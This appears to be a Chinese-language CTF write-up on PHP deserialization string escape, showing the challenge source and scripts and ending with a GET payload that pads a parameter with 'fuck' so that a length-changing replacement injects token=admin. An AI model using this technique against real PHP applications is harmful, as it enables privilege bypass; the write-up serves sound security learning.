前言:
从CTFshow上做的一道反序列化字符串逃逸的题,第一次接触,想了半天(可能是我太菜了>__<)后来才发现其实不难理解,真的需要动手写脚本操作一下,光看不好理解message.php:
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
index.php:
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
首选明确几点:
• PHP 在反序列化时,对类中不存在的属性也会进行反序列化
• PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的
反序列化字符串逃逸类似于注入,通过拼接、闭合这种思想构造字符串
回到题目~
拿到flag的条件是$msg->token=='admin'
但题目中token
初始化的值是user
。再看$umsg = str_replace('fuck', 'loveU', serialize($msg))
这个替换语句,将序列化后,4个字符长度的fuck
替换成5个字符长度loveU
。然后再将反序列化的结果拿去比较token=='admin'
为此,我们可以想到反序列化字符串逃逸
要让token=='admin'
,序列化的形式应该这样:O:7:"message":1:{s:5:"token";s:5:"admin";}
反序列化出来就是class message{ public $token='admin';}
其中:s:5:"token";s:5:"admin";
共24个字符
<?php class message{
public $from='d';
public $msg='m';
public $to='1';
public $token='user';
}
$msg= serialize(new message);
print_r($msg);
输出: O:7:"message":4:{
s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}
我们将字符串插入到$to
中,但要注意闭合,所以要加上"
;
(闭合前面字符串)和}
(闭合 类结束符)";s:5:"token";s:5:"admin";}
这一共27个字符长度就是我们需要插入的字符串
<?php class message{
public $from='d';
public $msg='m';
public $to='1";s:5:"token";s:5:"admin";}';
public $token='user';
}
$msg= serialize(new message);
print_r($msg);
输出: O:7:"message":4:O:7:"message":4:{
s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
假如将上面这个输出反序列化,会这么样呢?
会报错!因为s:28:"1"
此处,PHP认为此处的to
的值是1,所以长度是1。但给的是28啊,这相差了27个字符长度(就是我们插入字符串的长度),不符合PHP认为的就报错了
我们利用前面的loveU
替换fuck
补充这27的差值
一个fuck比一个loveU多一个长度,27个fuck就会多出27个长度
<?php class message{
public $from='d';
public $msg='m';
public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token='user';
}
$msg= serialize(new message);
print_r($msg);
输出: O:7:"message":4:{
s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
通过替换:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
注意str_replace()替换后,136这个值是不变的!而此时,136个字符长度读到的是1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU
后面的";s:5:"token";s:5:"admin";}
就分离开来了,反序列化后就是token=admin
且}
是结束符号,";s:5:"token";s:4:"user";}
是不会被反序列化的!这样一看,就是反序列化字符逃逸了,反序列结果如下
message Object
(
[from] => d
[msg] => m
[to] => 1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU
[token] => admin
)
即使题目初始化:public $token='user'
我们也可以利用替换导致的长度变化,构造出我们要想的
payload:
?f=1&m=2&t=6fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}